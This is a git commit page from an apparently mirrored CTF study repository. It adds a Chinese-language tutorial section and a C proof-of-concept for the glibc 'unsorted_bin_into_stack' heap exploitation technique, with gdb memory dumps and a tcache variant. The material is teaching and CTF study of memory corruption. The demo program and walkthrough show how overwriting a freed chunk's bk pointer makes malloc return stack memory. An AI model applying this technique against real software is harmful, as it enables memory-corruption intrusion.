mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
add unsorted_bin_into_stack
This commit is contained in:
parent
fde29fc586
commit
b512426901
@ -2,6 +2,7 @@
|
|||||||
|
|
||||||
- [how2heap](#how2heap)
|
- [how2heap](#how2heap)
|
||||||
- [house_of_force](#house_of_force)
|
- [house_of_force](#house_of_force)
|
||||||
|
- [unsorted_bin_into_stack](#unsorted_bin_into_stack)
|
||||||
- [unsorted_bin_attack](#unsorted_bin_attack)
|
- [unsorted_bin_attack](#unsorted_bin_attack)
|
||||||
- [house_of_einherjar](#house_of_einherjar)
|
- [house_of_einherjar](#house_of_einherjar)
|
||||||
- [house_of_orange](#house_of_orange)
|
- [house_of_orange](#house_of_orange)
|
||||||
@ -123,6 +124,146 @@ gef➤ x/12gx 0x602010+0xfffffffffffff050
|
|||||||
```
|
```
|
||||||
该技术的缺点是会受到 ASLR 的影响,因为如果攻击者需要修改指定位置的内存,他首先需要知道当前 top chunk 的位置以构造合适的 malloc 大小来转移 top chunk。而 ASLR 将使堆内存地址随机,所以该技术还需同时配合使用信息泄漏以达成攻击。
|
该技术的缺点是会受到 ASLR 的影响,因为如果攻击者需要修改指定位置的内存,他首先需要知道当前 top chunk 的位置以构造合适的 malloc 大小来转移 top chunk。而 ASLR 将使堆内存地址随机,所以该技术还需同时配合使用信息泄漏以达成攻击。
|
||||||
|
|
||||||
|
#### unsorted_bin_into_stack
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
unsigned long stack_buf[4] = {0};
|
||||||
|
|
||||||
|
unsigned long *victim = malloc(0x80);
|
||||||
|
unsigned long *p1 = malloc(0x10);
|
||||||
|
fprintf(stderr, "Allocating the victim chunk at %p\n", victim);
|
||||||
|
|
||||||
|
// deal with tcache
|
||||||
|
// int *k[10], i;
|
||||||
|
// for (i = 0; i < 7; i++) {
|
||||||
|
// k[i] = malloc(0x80);
|
||||||
|
// }
|
||||||
|
// for (i = 0; i < 7; i++) {
|
||||||
|
// free(k[i]);
|
||||||
|
// }
|
||||||
|
|
||||||
|
free(victim);
|
||||||
|
fprintf(stderr, "Freeing the chunk, it will be inserted in the unsorted bin\n\n");
|
||||||
|
|
||||||
|
stack_buf[1] = 0x100 + 0x10;
|
||||||
|
stack_buf[3] = (unsigned long)stack_buf; // or any other writable address
|
||||||
|
fprintf(stderr, "Create a fake chunk on the stack\n");
|
||||||
|
fprintf(stderr, "fake->size: %p\n", (void *)stack_buf[1]);
|
||||||
|
fprintf(stderr, "fake->bk: %p\n\n", (void *)stack_buf[3]);
|
||||||
|
|
||||||
|
victim[1] = (unsigned long)stack_buf;
|
||||||
|
fprintf(stderr, "Now we overwrite the victim->bk pointer to stack: %p\n\n", stack_buf);
|
||||||
|
|
||||||
|
fprintf(stderr, "Malloc a chunk which size is 0x110 will return the region of our fake chunk: %p\n", &stack_buf[2]);
|
||||||
|
|
||||||
|
unsigned long *fake = malloc(0x100);
|
||||||
|
fprintf(stderr, "malloc(0x100): %p\n", fake);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
$ gcc -g unsorted_bin_into_stack.c
|
||||||
|
$ ./a.out
|
||||||
|
Allocating the victim chunk at 0x17a1010
|
||||||
|
Freeing the chunk, it will be inserted in the unsorted bin
|
||||||
|
|
||||||
|
Create a fake chunk on the stack
|
||||||
|
fake->size: 0x110
|
||||||
|
fake->bk: 0x7fffcd906480
|
||||||
|
|
||||||
|
Now we overwrite the victim->bk pointer to stack: 0x7fffcd906480
|
||||||
|
|
||||||
|
Malloc a chunk which size is 0x110 will return the region of our fake chunk: 0x7fffcd906490
|
||||||
|
malloc(0x100): 0x7fffcd906490
|
||||||
|
```
|
||||||
|
unsorted-bin-into-stack 通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址,从而在栈上 malloc 出 chunk。
|
||||||
|
|
||||||
|
首先将一个 chunk 放入 unsorted bin,并且在栈上伪造一个 chunk:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/6gx victim - 2
|
||||||
|
0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
|
||||||
|
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
|
||||||
|
0x602020: 0x0000000000000000 0x0000000000000000
|
||||||
|
gdb-peda$ x/4gx stack_buf
|
||||||
|
0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
|
||||||
|
0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbc0
|
||||||
|
```
|
||||||
|
然后假设有一个漏洞,可以改写 victim chunk 的 bk 指针,那么将其改为指向 fake chunk:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/6gx victim - 2
|
||||||
|
0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
|
||||||
|
0x602010: 0x00007ffff7dd1b78 0x00007fffffffdbc0 <-- bk pointer
|
||||||
|
0x602020: 0x0000000000000000 0x0000000000000000
|
||||||
|
gdb-peda$ x/4gx stack_buf
|
||||||
|
0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
|
||||||
|
0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbc0
|
||||||
|
```
|
||||||
|
那么此时就相当于 fake chunk 已经被链接到 unsorted bin 中。在下一次 malloc 的时候,malloc 会顺着 bk 指针进行遍历,于是就找到了大小正好合适的 fake chunk:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/6gx victim - 2
|
||||||
|
0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
|
||||||
|
0x602010: 0x00007ffff7dd1bf8 0x00007ffff7dd1bf8
|
||||||
|
0x602020: 0x0000000000000000 0x0000000000000000
|
||||||
|
gdb-peda$ x/4gx fake - 2
|
||||||
|
0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
|
||||||
|
0x7fffffffdbd0: 0x00007ffff7dd1b78 0x00007fffffffdbc0
|
||||||
|
```
|
||||||
|
fake chunk 被取出,而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中。另外值得注意的是 fake chunk 的 fd 指针被修改了,这是 unsorted bin 的地址,通过它可以泄露 libc 地址,这正是下面 unsorted bin attack 会讲到的。
|
||||||
|
|
||||||
|
将上面的代码解除注释,就是 libc-2.27 环境下的版本,但是需要注意的是由于 tcache 的影响,`stack_buf[3]` 不能再设置成任意地址。
|
||||||
|
|
||||||
|
malloc 前:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/6gx victim - 2
|
||||||
|
0x555555756250: 0x0000000000000000 0x0000000000000091 <-- victim chunk
|
||||||
|
0x555555756260: 0x00007ffff7dd2b00 0x00007fffffffdcb0
|
||||||
|
0x555555756270: 0x0000000000000000 0x0000000000000000
|
||||||
|
gdb-peda$ x/4gx stack_buf
|
||||||
|
0x7fffffffdcb0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
|
||||||
|
0x7fffffffdcc0: 0x0000000000000000 0x00007fffffffdcb0
|
||||||
|
gdb-peda$ x/26gx 0x0000555555756000+0x10
|
||||||
|
0x555555756010: 0x0700000000000000 0x0000000000000000 <-- counts
|
||||||
|
0x555555756020: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756030: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756060: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756070: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756080: 0x0000000000000000 0x0000555555756670 <-- entries
|
||||||
|
0x555555756090: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560a0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560b0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560c0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560d0: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
malloc 后:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/6gx victim - 2
|
||||||
|
0x555555756250: 0x0000000000000000 0x0000000000000091 <-- victim chunk
|
||||||
|
0x555555756260: 0x00007ffff7dd2b80 0x00007ffff7dd2b80
|
||||||
|
0x555555756270: 0x0000000000000000 0x0000000000000000
|
||||||
|
gdb-peda$ x/4gx fake - 2
|
||||||
|
0x7fffffffdcb0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
|
||||||
|
0x7fffffffdcc0: 0x00007ffff7dd2b00 0x00007fffffffdcb0
|
||||||
|
gdb-peda$ x/26gx 0x0000555555756000+0x10
|
||||||
|
0x555555756010: 0x0700000000000000 0x0700000000000000 <-- counts <-- counts
|
||||||
|
0x555555756020: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756030: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756060: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756070: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756080: 0x0000000000000000 0x0000555555756670 <-- entries
|
||||||
|
0x555555756090: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560a0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560b0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560c0: 0x0000000000000000 0x00007fffffffdcc0 <-- entries
|
||||||
|
0x5555557560d0: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
可以看到在 malloc 时,fake chunk 被不断重复地链接到 tcache bin,直到装满后,才从 unsorted bin 里取出。同样的,fake chunk 的 fd 指向 unsorted bin。
|
||||||
|
|
||||||
#### unsorted_bin_attack
|
#### unsorted_bin_attack
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore tcache_house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack tcache_unsorted_bin_attack house_of_einherjar house_of_orange
|
PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore tcache_house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack unsorted_bin_into_stack tcache_unsorted_bin_attack house_of_einherjar house_of_orange
|
||||||
CFLAGS += -std=c99 -g
|
CFLAGS += -std=c99 -g
|
||||||
|
|
||||||
# CFLAGS += -fsanitize=address
|
# CFLAGS += -fsanitize=address
|
||||||
|
36
src/others/3.1.6_heap_exploit/unsorted_bin_into_stack.c
Normal file
36
src/others/3.1.6_heap_exploit/unsorted_bin_into_stack.c
Normal file
@ -0,0 +1,36 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
unsigned long stack_buf[4] = {0};
|
||||||
|
|
||||||
|
unsigned long *victim = malloc(0x80);
|
||||||
|
unsigned long *p1 = malloc(0x10);
|
||||||
|
fprintf(stderr, "Allocating the victim chunk at %p\n", victim);
|
||||||
|
|
||||||
|
// deal with tcache
|
||||||
|
// int *k[10], i;
|
||||||
|
// for (i = 0; i < 7; i++) {
|
||||||
|
// k[i] = malloc(0x80);
|
||||||
|
// }
|
||||||
|
// for (i = 0; i < 7; i++) {
|
||||||
|
// free(k[i]);
|
||||||
|
// }
|
||||||
|
|
||||||
|
free(victim);
|
||||||
|
fprintf(stderr, "Freeing the chunk, it will be inserted in the unsorted bin\n\n");
|
||||||
|
|
||||||
|
stack_buf[1] = 0x100 + 0x10;
|
||||||
|
stack_buf[3] = (unsigned long)stack_buf; // or any other writable address
|
||||||
|
fprintf(stderr, "Create a fake chunk on the stack\n");
|
||||||
|
fprintf(stderr, "fake->size: %p\n", (void *)stack_buf[1]);
|
||||||
|
fprintf(stderr, "fake->bk: %p\n\n", (void *)stack_buf[3]);
|
||||||
|
|
||||||
|
victim[1] = (unsigned long)stack_buf;
|
||||||
|
fprintf(stderr, "Now we overwrite the victim->bk pointer to stack: %p\n\n", stack_buf);
|
||||||
|
|
||||||
|
fprintf(stderr, "Malloc a chunk which size is 0x110 will return the region of our fake chunk: %p\n", &stack_buf[2]);
|
||||||
|
|
||||||
|
unsigned long *fake = malloc(0x100);
|
||||||
|
fprintf(stderr, "malloc(0x100): %p\n", fake);
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user